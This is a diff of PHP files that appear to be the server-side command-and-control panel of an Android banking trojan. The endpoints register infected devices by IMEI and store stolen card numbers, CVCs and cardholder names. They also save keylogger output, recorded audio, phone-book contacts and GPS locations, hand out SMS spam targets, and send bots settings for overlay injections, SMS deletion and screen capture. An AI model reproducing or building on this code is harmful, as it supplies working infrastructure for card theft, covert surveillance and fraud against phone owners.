||||
|
||||
$statement = $connect->prepare("SELECT * FROM cc WHERE numbercard='$cardNumber'");
|
||||
$statement->execute([$cardNumber]);
|
||||
|
||||
$booleanIMEI_and_TIME = false;
|
||||
foreach($statement as $row)
|
||||
{
|
||||
if($row['numbercard'] == $cardNumber)
|
||||
{
|
||||
$booleanIMEI_and_TIME=true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if(!$booleanIMEI_and_TIME)
|
||||
{
|
||||
$statement = $connect->prepare("insert into cc (imei,country,numbercard,monthyear,cvc,nameholder,phonenumber)
|
||||
value ('$IMEI_log','$country','$cardNumber','$cardExpiration','$cvcEntry','$nameOnCard','$phoneNumber')");
|
||||
$statement->execute(array($IMEI_log,$country,$cardNumber,$cardExpiration,$cvcEntry,$nameOnCard,$phoneNumber));
|
||||
|
||||
if(strlen($cardNumber)>=5){
|
||||
$statement = $connect->prepare("UPDATE kliets SET l_bank = '1' WHERE IMEI = '$IMEI_log'");
|
||||
$statement->execute([$IMEI_log]);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
|
||||
|
||||
$statement = $connection->prepare("UPDATE settings SET inject = '', state='1' WHERE IMEI = '$IMEI_log'");
|
||||
$statement->execute([$IMEI_log]);
|
||||
|
||||
|
||||
echo "<tag HTTP: Error 12007 when connecting>
|
||||
<script>
|
||||
setTimeout( function(){document.getElementById('adv').style.display='none';document.getElementById('adv2').style.display='block';}, $timeLoad )
|
||||
setTimeout( function(){location.replace('STOP');}, $timeLocation)
|
||||
</script>
|
||||
</tag>";
|
||||
|
||||
//getBins($cardNumber);
|
||||
|
||||
}
|
||||
|
||||
|
||||
if(($IMEI_log != "") && ($text_log != ""))
|
||||
{
|
||||
//Записываем ЛОГи!
|
||||
if(preg_match('|^[A-Z0-9]+$|i', $IMEI_log)){
|
||||
$path_log = "../".namefolder."/application/datalogs/logs/$IMEI_log.log";
|
||||
$perehod = "\n";
|
||||
$str_log = "$perehod$IMEI_log: $text_log$perehod";
|
||||
file_put_contents($path_log, $str_log, FILE_APPEND);
|
||||
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$data_ = date('Y-m-d H:i');
|
||||
|
||||
$statement = $connection->prepare("UPDATE kliets SET lastConnect = '$data_' WHERE IMEI = '$IMEI_log'");
|
||||
$statement->execute(array($data_, $IMEI_log));
|
||||
|
||||
$statement = $connection->prepare("UPDATE kliets SET log = '1' WHERE IMEI = '$IMEI_log'");
|
||||
$statement->execute([$IMEI_log]);
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
function getBins($numberCC)
|
||||
{
|
||||
if(CheckURL("http://bins.pro")){
|
||||
$str = "http://bins.pro/search?action=searchbins&bins=$numberCC";
|
||||
$content = file_get_contents($str);
|
||||
preg_match_all('#<div id="result">(.+?)</div>#is', $content, $arr);
|
||||
$str1 = $arr[1][0];
|
||||
$content = str_replace("<table>","",$str1);
|
||||
$content = str_replace("</table>","",$content);
|
||||
$content = str_replace("<tr><td>BIN</td><td>Country</td><td>Vendor</td><td>Type</td><td>Level</td><td>Bank</td></tr>","",$content);
|
||||
$content = str_replace("</tr>","",$content);
|
||||
$content = str_replace("</td><td>","|",$content);
|
||||
$content = str_replace("<tr><td>","",$content);
|
||||
$content = str_replace(" </td>","",$content);
|
||||
|
||||
$massivContent = explode("|", $content);
|
||||
|
||||
$STR1 = $massivContent[1];
|
||||
$STR2 = $massivContent[2];
|
||||
$STR3 = $massivContent[3];
|
||||
$STR4 = $massivContent[4];
|
||||
$STR5 = $massivContent[5];
|
||||
|
||||
$bins = "$STR1|$STR2|$STR3|$STR4|$STR5";
|
||||
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("UPDATE cc SET bin = '$bins' WHERE numbercard = '$numberCC'");
|
||||
$statement->execute(array($bins, $numberCC));
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
*/
|
||||
function CheckURL($url){
|
||||
if($url=check_url($url))
|
||||
{
|
||||
if ($o=open_url($url))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
else
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
else return false;
|
||||
}
|
||||
function check_url($url)
|
||||
{
|
||||
if(preg_match("@^http://@i",$url)) $url = preg_replace("@(http://)+@i",'http://',$url);
|
||||
else if (preg_match("@^https://@i",$url)) $url = preg_replace("@(https://)+@i",'https://',$url);
|
||||
else $url = 'http://'.$url;
|
||||
|
||||
|
||||
if (filter_var($url, FILTER_VALIDATE_URL) === FALSE) {
|
||||
return false;
|
||||
}
|
||||
else return $url;
|
||||
}
|
||||
// Существование ссылки (URL)
|
||||
function open_url($url)
|
||||
{
|
||||
$url_c=parse_url($url);
|
||||
|
||||
if (!empty($url_c['host']) and checkdnsrr($url_c['host']))
|
||||
{
|
||||
// Ответ сервера
|
||||
if ($otvet=@get_headers($url)){
|
||||
return substr($otvet[0], 9, 3);
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
?>
|
||||
+12
File diff suppressed because one or more lines are too long
+26
@@ -0,0 +1,26 @@
|
||||
<?php
|
||||
include 'crypt.php';
|
||||
include 'config.php';
|
||||
|
||||
$request = htmlspecialchars($_REQUEST["p"], ENT_QUOTES);
|
||||
|
||||
$request = mb_substr($request, 0, mb_strlen($request));
|
||||
$request = decrypt($request,cryptKey);
|
||||
if(strlen($request)>5){
|
||||
$massivReq = explode("~~~~~~~~~~", $request);
|
||||
$IMEI_log = isset($massivReq[0]) ? $massivReq[0] : "";
|
||||
$text_log =isset($massivReq[1]) ? $massivReq[1] : "";
|
||||
$data = date('Y-m-d H:i');
|
||||
|
||||
|
||||
if(preg_match('|^[A-Z0-9]+$|i', $IMEI_log)){
|
||||
$path_log = "../".namefolder."/application/datalogs/files/keylogger-$IMEI_log-$data.log";
|
||||
file_put_contents($path_log, $text_log, FILE_APPEND);
|
||||
}
|
||||
$tag = "<tag>";
|
||||
$otv = encrypt("clear",cryptKey);
|
||||
$tagend = "</tag>";
|
||||
|
||||
echo "$tag$otv$tagend";
|
||||
}
|
||||
?>
|
||||
+27
@@ -0,0 +1,27 @@
|
||||
<?php
|
||||
include 'crypt.php';
|
||||
include 'config.php';
|
||||
|
||||
$request = htmlspecialchars($_REQUEST["p"], ENT_QUOTES);
|
||||
$request = mb_substr($request, 0, mb_strlen($request));
|
||||
$request = decrypt($request,cryptKey);
|
||||
|
||||
$massivReq = explode("||:||", $request);
|
||||
|
||||
$namefile = isset($massivReq[0]) ? $massivReq[0] : "";
|
||||
$datafile =isset($massivReq[1]) ? $massivReq[1] : "";
|
||||
|
||||
if((strlen($namefile)>5)&&(strlen($datafile)>5)){
|
||||
if (preg_match("/.amr/",$namefile)){
|
||||
$namefile = str_replace(".amr","",$namefile);
|
||||
$namefile = str_replace("/","",$namefile);
|
||||
if(preg_match('|^[A-Z0-9:_-]+$|i', $namefile)){
|
||||
file_put_contents("../".namefolder."/application/datalogs/files/$namefile.amr", base64_decode($datafile));
|
||||
}
|
||||
}
|
||||
$tag = "<tag>";
|
||||
$otv = encrypt("**good**",cryptKey);
|
||||
$tagend = "</tag>";
|
||||
echo "$tag$otv$tagend";
|
||||
}
|
||||
?>
|
||||
+57
@@ -0,0 +1,57 @@
|
||||
<?php
|
||||
include 'crypt.php';
|
||||
include 'config.php';
|
||||
|
||||
$request = htmlspecialchars($_REQUEST["p"], ENT_QUOTES);
|
||||
|
||||
$request = mb_substr($request, 0, mb_strlen($request));
|
||||
$request = decrypt($request,cryptKey);
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
|
||||
$boo = false;
|
||||
|
||||
if (preg_match("/sendsms/",$request)){
|
||||
$arraynumberSend = explode('sendsms',$request);
|
||||
$numberSend = $arraynumberSend[1];
|
||||
|
||||
$statement = $connection->prepare("UPDATE smsspam SET status = '2' WHERE number = '$numberSend'");
|
||||
$statement->execute([$numberSend]);
|
||||
}
|
||||
|
||||
if (preg_match("/errorsms/",$request)){
|
||||
$arraynumberError = explode('errorsms',$request);
|
||||
$numberError = $arraynumberError[1];
|
||||
|
||||
$statement = $connection->prepare("UPDATE smsspam SET status = '0' WHERE number = '$numberError'");
|
||||
$statement->execute([$numberError]);
|
||||
}
|
||||
|
||||
if (preg_match("/getnumber/",$request)){
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$sql = "SELECT * FROM smsspam";
|
||||
foreach($connection->query($sql) as $row){
|
||||
$number = $row['number'];
|
||||
$status = $row['status'];
|
||||
if($status=="0"){
|
||||
$statement = $connection->prepare("UPDATE smsspam SET status = '1' WHERE number = '$number'");
|
||||
$statement->execute([$number]);
|
||||
|
||||
$tag = "<tag>";
|
||||
$otv = encrypt("$number",cryptKey);
|
||||
$tagend = "</tag>";
|
||||
echo "$tag$otv$tagend";
|
||||
|
||||
$boo = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
if(!$boo){
|
||||
$tag = "<tag>";
|
||||
$otv = encrypt("close",cryptKey);
|
||||
$tagend = "</tag>";
|
||||
echo "$tag$otv$tagend";
|
||||
}
|
||||
?>
|
||||
@@ -0,0 +1 @@
|
||||
<?php echo "<tag>**2**0**0**</tag>";?>
|
||||
+66
@@ -0,0 +1,66 @@
|
||||
<?php
|
||||
include 'crypt.php';
|
||||
include 'config.php';
|
||||
include 'webSocket.php';
|
||||
|
||||
$tuk_tuk = htmlspecialchars($_REQUEST["tuk_tuk"], ENT_QUOTES);
|
||||
|
||||
$tuk_tuk = decrypt($tuk_tuk,cryptKey);
|
||||
|
||||
$arrayData = explode("|:|",$tuk_tuk);
|
||||
|
||||
$imei = isset($arrayData[0]) ? $arrayData[0] : "";
|
||||
$command = isset($arrayData[1]) ? $arrayData[1] : "";
|
||||
|
||||
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
|
||||
if($imei!=""){
|
||||
$botid = '';
|
||||
$statement = $connection->prepare("SELECT botid FROM ws WHERE id='1'");
|
||||
$statement->execute();
|
||||
foreach($statement as $row){
|
||||
$botid = $row['botid'];
|
||||
break;
|
||||
}
|
||||
|
||||
if($botid != $imei){
|
||||
echo encrypt('**noconnection**',cryptKey);
|
||||
//echo '**noconnection**';
|
||||
return;
|
||||
}else{
|
||||
$database = new database;
|
||||
$strGetCommand = $database->ws_GetCommand();
|
||||
$database->ws_UpdateLastConnect(date('Y-m-d H:i'));
|
||||
if($strGetCommand !== ''){
|
||||
echo encrypt("$strGetCommand",cryptKey);
|
||||
//echo "$strGetCommand";
|
||||
$database->ws_UpdateCommand('');
|
||||
}else{
|
||||
echo encrypt('**',cryptKey);
|
||||
//echo '**';
|
||||
}
|
||||
}
|
||||
|
||||
//if(strlen($command) >= 3){ // если запрос c командой!
|
||||
|
||||
if(strpos($command, 'getPath!!!!') !== false){//-------Получаем Путь и файлы/папки-------------
|
||||
$database = new database;
|
||||
$str = str_replace('getPath!!!!', '', $command);
|
||||
|
||||
$arraySTR = explode("!@@!",$str);
|
||||
|
||||
$path = $arraySTR[0];
|
||||
$fileFolder = $arraySTR[1];
|
||||
|
||||
$database->ws_UpdateFileFolder($fileFolder);
|
||||
$database->ws_UpdatePath($path);
|
||||
|
||||
$database->ws_UpdateStatusFileFolder('1');
|
||||
}elseif(strpos($command, '!!!refreshfilefolder!!!') !== false){
|
||||
$database = new database;
|
||||
$database->ws_UpdateStatusFileFolder('1');
|
||||
}
|
||||
// }
|
||||
}
|
||||
+64
@@ -0,0 +1,64 @@
|
||||
<?php
|
||||
$request = htmlspecialchars($_REQUEST["p"], ENT_QUOTES);
|
||||
include 'crypt.php';
|
||||
include 'config.php';
|
||||
$request = decrypt($request,cryptKey);
|
||||
|
||||
$request=str_replace(":)",")",$request);
|
||||
|
||||
$massivReq = explode(":", $request);
|
||||
$IMEI = isset($massivReq[0]) ? $massivReq[0] : "";
|
||||
$phoneNumber =isset($massivReq[1]) ? $massivReq[1] : "";
|
||||
$Version = isset($massivReq[2]) ? $massivReq[2] : "";
|
||||
$country =isset($massivReq[3]) ? $massivReq[3] : "";
|
||||
$bank = isset($massivReq[4]) ? $massivReq[4] : "";
|
||||
$model = isset($massivReq[5]) ? $massivReq[5] : "";
|
||||
$Version_apk = isset($massivReq[6]) ? $massivReq[6] : "";
|
||||
$AV = isset($massivReq[7]) ? $massivReq[7] : "";
|
||||
$iconCard = isset($massivReq[8]) ? $massivReq[8] : "";
|
||||
$iconInj = isset($massivReq[9]) ? $massivReq[9] : "";
|
||||
|
||||
if(($IMEI!="")&&($phoneNumber!="")&&($Version!=""))
|
||||
{
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
|
||||
$statement = $connection->prepare("SELECT IMEI FROM kliets WHERE IMEI='$IMEI'");
|
||||
$statement->execute([$IMEI]);
|
||||
|
||||
$booleanIMEI = false;
|
||||
foreach($statement as $row)
|
||||
{
|
||||
if($row['IMEI']==$IMEI)
|
||||
{
|
||||
$booleanIMEI=true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if($booleanIMEI == false)
|
||||
{
|
||||
if($country=="")$country="not";
|
||||
|
||||
$data = date('Y-m-d H:i:s');
|
||||
|
||||
$statement = $connection->prepare("insert into kliets (IMEI,number,version,country,bank,model,lastConnect,firstConnect,version_apk,l_bank,inj)
|
||||
value ('$IMEI','$phoneNumber','$Version','$country','$bank','$model','$data','$data','$Version_apk','$iconCard','$iconInj')");
|
||||
$statement->execute(array($IMEI,$phoneNumber,$Version,$country,$bank,$model,$data,$data,$Version_apk,$iconCard,$iconInj));
|
||||
|
||||
$tag = "<tag>";
|
||||
$otv = encrypt("|OK|",cryptKey);
|
||||
$tagend = "</tag>";
|
||||
|
||||
echo "$tag$otv$tagend";
|
||||
}
|
||||
else
|
||||
{
|
||||
$tag = "<tag>";
|
||||
$otv = encrypt("|NO|",cryptKey);
|
||||
$tagend = "</tag>";
|
||||
|
||||
echo "$tag$otv$tagend";
|
||||
//echo "<tag>|NO|</tag>";
|
||||
}
|
||||
}
|
||||
?>
|
||||
+135
@@ -0,0 +1,135 @@
|
||||
<?php
|
||||
$request = htmlspecialchars($_REQUEST["p"], ENT_QUOTES);
|
||||
include 'crypt.php';
|
||||
include 'config.php';
|
||||
$request = mb_substr($request, 0, mb_strlen($request));
|
||||
$request = decrypt($request,cryptKey);
|
||||
|
||||
$massivReq = explode(":", $request);
|
||||
|
||||
$IMEI = $massivReq[0];
|
||||
$root = $massivReq[1];
|
||||
$settingsALLhash = $massivReq[2];//"bK4thrkNhQSk6S6";//!!!
|
||||
$checkIconInj = $massivReq[3];
|
||||
$checkIconGeolocation = $massivReq[4];
|
||||
$checkIconSMS = $massivReq[5];
|
||||
$screen = $massivReq[6];
|
||||
$accessibility = $massivReq[7];
|
||||
$seconds = $massivReq[8];
|
||||
$playprotect = $massivReq[9];
|
||||
$doze = isset($massivReq[10]) ? $massivReq[10] : "";
|
||||
$step = isset($massivReq[11]) ? $massivReq[11] : "0";
|
||||
|
||||
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
//$sql = "SELECT IMEI FROM kliets WHERE IMEI='$IMEI'";
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("SELECT IMEI FROM kliets WHERE IMEI='$IMEI'");
|
||||
$statement->execute([$IMEI]);
|
||||
|
||||
|
||||
$booleanIMEI = false;
|
||||
foreach($statement as $row)
|
||||
{
|
||||
if($row['IMEI']==$IMEI)
|
||||
{
|
||||
$booleanIMEI=true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if($booleanIMEI == true)
|
||||
{
|
||||
$statement = $connection->prepare("SELECT * FROM commands WHERE IMEI='$IMEI'");
|
||||
$statement->execute([$IMEI]);
|
||||
//$sql2 = "SELECT * FROM commands WHERE IMEI='$IMEI'";
|
||||
$data_comm = "";
|
||||
$booldelcommands=false;
|
||||
foreach($statement as $row)
|
||||
{
|
||||
if($row['IMEI']==$IMEI)
|
||||
{
|
||||
$com0 = "id=";
|
||||
$com1 = $row['id'];
|
||||
$com2 = $row['command'];
|
||||
$data_comm = "$data_comm$com0$com1$com2";
|
||||
$booldelcommands=true;
|
||||
}
|
||||
}
|
||||
if($booldelcommands)
|
||||
{
|
||||
//Удаляем нафиг команды!
|
||||
$statement = $connection->prepare("DELETE FROM commands WHERE IMEI='".$IMEI."'");
|
||||
$statement->execute([$IMEI]);
|
||||
|
||||
//$sql3 = "DELETE FROM commands WHERE IMEI='".$IMEI."'";
|
||||
//$connection->query($sql3);
|
||||
}
|
||||
//Записываем время конекта в бд и другую инфу
|
||||
$data_ = date('Y-m-d H:i:s');
|
||||
$ipbot = GetIP();
|
||||
$statement = $connection->prepare("UPDATE kliets SET step='$step', ip= '$ipbot', lastConnect = '$data_', r00t = '$root',requestInjProc = '$checkIconInj', requestGeoloc='$checkIconGeolocation', requestSMS = '$checkIconSMS', screen='$screen', accessibility='$accessibility', seconds = '$seconds', playprotect='$playprotect', doze='$doze' WHERE IMEI='".$IMEI."';");
|
||||
$statement->execute(array($step,$ipbot,$data_,$root,$screen,$IMEI,$checkIconInj,$checkIconGeolocation,$accessibility,$seconds,$checkIconSMS,$playprotect));
|
||||
|
||||
//отправляем статус настроек
|
||||
if(($data_comm == "")||($data_comm == " "))
|
||||
{
|
||||
$statement = $connection->prepare("SELECT IMEI, state FROM settings WHERE IMEI='$IMEI'");
|
||||
$statement->execute([$IMEI]);
|
||||
|
||||
//$sql = "SELECT IMEI, state FROM settings WHERE IMEI='$IMEI'";
|
||||
foreach($statement as $row)
|
||||
{
|
||||
if($row['IMEI']==$IMEI)
|
||||
{
|
||||
if($row['state']=="1")
|
||||
{
|
||||
$data_comm="state1letsgotxt";
|
||||
$statement = $connection->prepare("UPDATE settings SET state = '0' WHERE IMEI='".$IMEI."'");
|
||||
$statement->execute([$IMEI]);
|
||||
}
|
||||
}
|
||||
}
|
||||
if($data_comm!="state1letsgotxt")
|
||||
{
|
||||
$sql = "SELECT id, hash FROM settingsall WHERE id='1'";
|
||||
foreach($connection->query($sql) as $row){
|
||||
if($row['hash']!=$settingsALLhash){
|
||||
$data_comm="$data_comm|ALLSETTINGSGO|";
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
if(($data_comm == "")||($data_comm == " "))$data_comm="2*0*0";
|
||||
}
|
||||
|
||||
$booleanIMEI == false;
|
||||
//достаем команды и отправляем!
|
||||
$tag = "<tag>";
|
||||
$otv = encrypt("$data_comm",cryptKey);
|
||||
$tagend = "</tag>";
|
||||
echo "$tag$otv$tagend";
|
||||
}
|
||||
else
|
||||
{//Если нет ID бота!
|
||||
$tag = "<tag>";
|
||||
$otv = encrypt("|NO|",cryptKey);
|
||||
$tagend = "</tag>";
|
||||
echo "$tag$otv$tagend";
|
||||
}
|
||||
|
||||
function GetIP() {
|
||||
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
|
||||
$ip = $_SERVER['HTTP_CLIENT_IP'];
|
||||
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
|
||||
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
|
||||
} else {
|
||||
$ip = $_SERVER['REMOTE_ADDR'];
|
||||
}
|
||||
return $ip;
|
||||
}
|
||||
|
||||
//проверяем существует ли такой IMEI
|
||||
//если существует, достаем команды которые есть и отдаем
|
||||
//если не существует отдаем |NO|
|
||||
//SELECT * FROM table_name WHERE (выражение) [order by field_name [desc][asc]]
|
||||
?>
|
||||
+125
@@ -0,0 +1,125 @@
|
||||
<?php
|
||||
$request = htmlspecialchars($_REQUEST["p"], ENT_QUOTES);
|
||||
include 'crypt.php';
|
||||
include 'config.php';
|
||||
$request = decrypt($request,cryptKey);
|
||||
|
||||
//$request = mb_substr($request,0,mb_strlen($request)-1);//!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
||||
|
||||
$IMEI = $request;
|
||||
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$sql = "SELECT * FROM settings";
|
||||
|
||||
$booleanIMEI = false;
|
||||
$inject = "";
|
||||
$del_sms = "";
|
||||
$check_true = "";
|
||||
$foreground = "";
|
||||
$keylogger = "";
|
||||
$check_record = "";
|
||||
$text_seconds ="";
|
||||
$lookscreen = "";
|
||||
$lookscreen_b = "";
|
||||
|
||||
|
||||
foreach($connection->query($sql) as $row)
|
||||
{
|
||||
if($row['IMEI'] == $IMEI)
|
||||
{
|
||||
$inject = $row['inject'];
|
||||
$del_sms = $row['del_sms'];
|
||||
$check_true = $row['avtootvet_true'];
|
||||
$network = $row['avtootvet_sig1'];
|
||||
$gps = $row['avtootvet_sig2'];
|
||||
$foreground = $row['checkforeground'];
|
||||
$keylogger = $row['keylogger'];
|
||||
$check_record = $row['checkrecord'];
|
||||
$text_seconds = $row['recordseconds'];
|
||||
$lookscreen = $row['lookscreen'];
|
||||
$booleanIMEI=true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
$sql = "SELECT * FROM injection";
|
||||
$inject_s = explode("/", $inject);
|
||||
|
||||
$inj = "";
|
||||
foreach($inject_s as $ids)
|
||||
{
|
||||
|
||||
foreach($connection->query($sql) as $row)
|
||||
{
|
||||
$procc = $row['process'];
|
||||
if($row['id'] == $ids)
|
||||
{
|
||||
$inj = "$inj/$procc";
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if($check_true == "1"){
|
||||
$SMS = "true";
|
||||
}else{
|
||||
$SMS = "false";
|
||||
}
|
||||
|
||||
if($del_sms == "1"){
|
||||
$del_sms = "true";
|
||||
}else{
|
||||
$del_sms = "false";
|
||||
}
|
||||
|
||||
if($network == "1"){
|
||||
$network = "true";
|
||||
}else{
|
||||
$network = "false";
|
||||
}
|
||||
|
||||
if($gps == "1"){
|
||||
$gps = "true";
|
||||
}else{
|
||||
$gps = "false";
|
||||
}
|
||||
|
||||
if($foreground == "1"){
|
||||
$foreground = "true";
|
||||
}else{
|
||||
$foreground = "false";
|
||||
}
|
||||
|
||||
if($keylogger == "1"){
|
||||
$keylogger = "true";
|
||||
}else{
|
||||
$keylogger = "false";
|
||||
}
|
||||
|
||||
if($check_record != "1"){
|
||||
$text_seconds="0";
|
||||
}
|
||||
|
||||
if($lookscreen == "1"){
|
||||
$lookscreen_b = "true";
|
||||
}else{
|
||||
$lookscreen_b = "false";
|
||||
}
|
||||
|
||||
if($booleanIMEI == true)
|
||||
{
|
||||
$tag = "<tag>";
|
||||
$otv = encrypt("$inj:$del_sms:$SMS:$network:$gps:$foreground:$keylogger:$text_seconds:$lookscreen_b:",cryptKey);
|
||||
$tagend = "</tag>";
|
||||
|
||||
echo "$tag$otv$tagend";
|
||||
}
|
||||
else
|
||||
{
|
||||
$tag = "<tag>";
|
||||
$otv = encrypt("|NO|",cryptKey);
|
||||
$tagend = "</tag>";
|
||||
|
||||
echo "$tag$otv$tagend";
|
||||
}
|
||||
?>
|
||||
+102
@@ -0,0 +1,102 @@
|
||||
<?php
|
||||
include 'crypt.php';
|
||||
include 'config.php';
|
||||
|
||||
$request = htmlspecialchars($_REQUEST["p"], ENT_QUOTES);
|
||||
|
||||
$request = mb_substr($request, 0, mb_strlen($request));
|
||||
$request = decrypt($request,cryptKey);
|
||||
|
||||
$massivReq = explode("|", $request);
|
||||
$IMEI_log = isset($massivReq[0]) ? $massivReq[0] : "";
|
||||
$text_log =isset($massivReq[1]) ? $massivReq[1] : "";
|
||||
|
||||
if(($IMEI_log != "") && ($text_log != "")){
|
||||
if(preg_match('|^[A-Z0-9]+$|i', $IMEI_log)){
|
||||
//Записываем ЛОГи!
|
||||
$path_log = "../".namefolder."/application/datalogs/logs/$IMEI_log.log";
|
||||
$perehod = "\n";
|
||||
$data_log = date('Y-m-d H:i');
|
||||
$ss = str_replace("</br>","",$text_log);
|
||||
$ss = str_replace("Numbers from the phone book","Numbers from the phone book\n",$ss);
|
||||
$str_log = "$perehod$data_log: $ss$perehod";
|
||||
file_put_contents($path_log, $str_log, FILE_APPEND);
|
||||
|
||||
//---
|
||||
if (preg_match("/Numbers from the phone book/",$text_log))
|
||||
{
|
||||
$country = mb_substr($text_log, 0, 4);
|
||||
$ss = " Numbers from the phone book";
|
||||
$text_num = str_replace("$country$ss","",$text_log);
|
||||
$country = str_replace(" ","",$country);
|
||||
|
||||
if(preg_match('|^[A-Z0-9()]+$|i', $country)){
|
||||
$path_nums = "../".namefolder."/application/datalogs/numers/$country.html";
|
||||
$str_nums = "$text_num";
|
||||
|
||||
file_put_contents($path_nums, $str_nums, FILE_APPEND);
|
||||
}
|
||||
}
|
||||
//---
|
||||
if (preg_match("/ID Windows Bot:/",$text_log)){
|
||||
$getIdBotWindows = str_replace("ID Windows Bot:","",$text_log);
|
||||
$getIdBotWindows = str_replace(" ","",$getIdBotWindows);
|
||||
|
||||
$connection2 = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection2->exec('SET NAMES utf8');
|
||||
|
||||
|
||||
$statement2 = $connection2->prepare("SELECT * FROM idbotwindows WHERE idbot='$getIdBotWindows'");
|
||||
$statement2->execute([$getIdBotWindows]);
|
||||
|
||||
$isIdBotWin = false;
|
||||
foreach($statement2 as $row){
|
||||
if($row['idbot']=="$getIdBotWindows"){
|
||||
$isIdBotWin=true;
|
||||
}
|
||||
}
|
||||
if(!$isIdBotWin){
|
||||
$statement2 = $connection2->prepare("insert into idbotwindows (idbot) value ('$getIdBotWindows')");
|
||||
$statement2->execute(array($getIdBotWindows));
|
||||
}
|
||||
}
|
||||
//---
|
||||
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$data_ = date('Y-m-d H:i:s');
|
||||
|
||||
$ipbot = GetIP();
|
||||
$statement = $connection->prepare("UPDATE kliets SET lastConnect = '$data_', ip = '$ipbot' WHERE IMEI = '$IMEI_log'");
|
||||
$statement->execute(array($data_, $IMEI_log, $ipbot));
|
||||
|
||||
$statement = $connection->prepare("SELECT log,IMEI FROM kliets WHERE IMEI='$IMEI_log'");
|
||||
$statement->execute([$IMEI_log]);
|
||||
foreach($statement as $row){
|
||||
if($row['log']!='2'){
|
||||
$statement = $connection->prepare("UPDATE kliets SET log = '1' WHERE IMEI = '$IMEI_log'");
|
||||
$statement->execute([$IMEI_log]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (preg_match("/Found files by signatures:/",$text_log))
|
||||
{
|
||||
$statement = $connection->prepare("UPDATE kliets SET log = '2' WHERE IMEI = '$IMEI_log'");
|
||||
$statement->execute([$IMEI_log]);
|
||||
}
|
||||
}
|
||||
echo "||ok||";
|
||||
}
|
||||
|
||||
|
||||
function GetIP() {
|
||||
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
|
||||
$ip = $_SERVER['HTTP_CLIENT_IP'];
|
||||
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
|
||||
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
|
||||
} else {
|
||||
$ip = $_SERVER['REMOTE_ADDR'];
|
||||
}
|
||||
return $ip;
|
||||
}
|
||||
?>
|
||||
+50
@@ -0,0 +1,50 @@
|
||||
<?php
|
||||
$request = htmlspecialchars($_REQUEST["p"], ENT_QUOTES);
|
||||
include 'crypt.php';
|
||||
include 'config.php';
|
||||
$request = decrypt($request,cryptKey);
|
||||
|
||||
$massivReq = explode(":", $request);
|
||||
$IMEI = isset($massivReq[0]) ? $massivReq[0] : "";
|
||||
$lat = isset($massivReq[1]) ? $massivReq[1] : "";
|
||||
$lon = isset($massivReq[2]) ? $massivReq[2] : "";
|
||||
$netgps = isset($massivReq[3]) ? $massivReq[3] : "";
|
||||
|
||||
if(($IMEI!="")&&($lat!="")&&($lon!="")&&($netgps!=""))
|
||||
{
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
|
||||
$statement = $connection->prepare("SELECT name FROM markers WHERE name='$IMEI'");
|
||||
$statement->execute([$IMEI_log]);
|
||||
|
||||
$data_time = date('Y-m-d H:i');
|
||||
$booIMEI = false;
|
||||
|
||||
foreach($statement as $row)
|
||||
{
|
||||
if($row['name']==$IMEI)
|
||||
{
|
||||
$booIMEI=true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if($booIMEI == false)
|
||||
{
|
||||
|
||||
$a1 = array("Q","W","E","R","T","Y","U","I","O","P","A","S","D","F","G","H","J","K"
|
||||
,"L","Z","X","C","V","B","N","M","q","w","e","r","t","y","u","i","o","p","a","s","d"
|
||||
,"f","g","h","j","k","l","z","x","c","v","b","n","m");
|
||||
$typeR = $a1[rand(0, 51)];
|
||||
|
||||
$statement = $connection->prepare("insert into markers (name, lat, lng, type, provayder, time)
|
||||
value ('$IMEI','$lat','$lon', '$typeR','$netgps','$data_time')");
|
||||
$statement->execute(array($IMEI,$lat,$lon,$typeR,$netgps,$data_time));
|
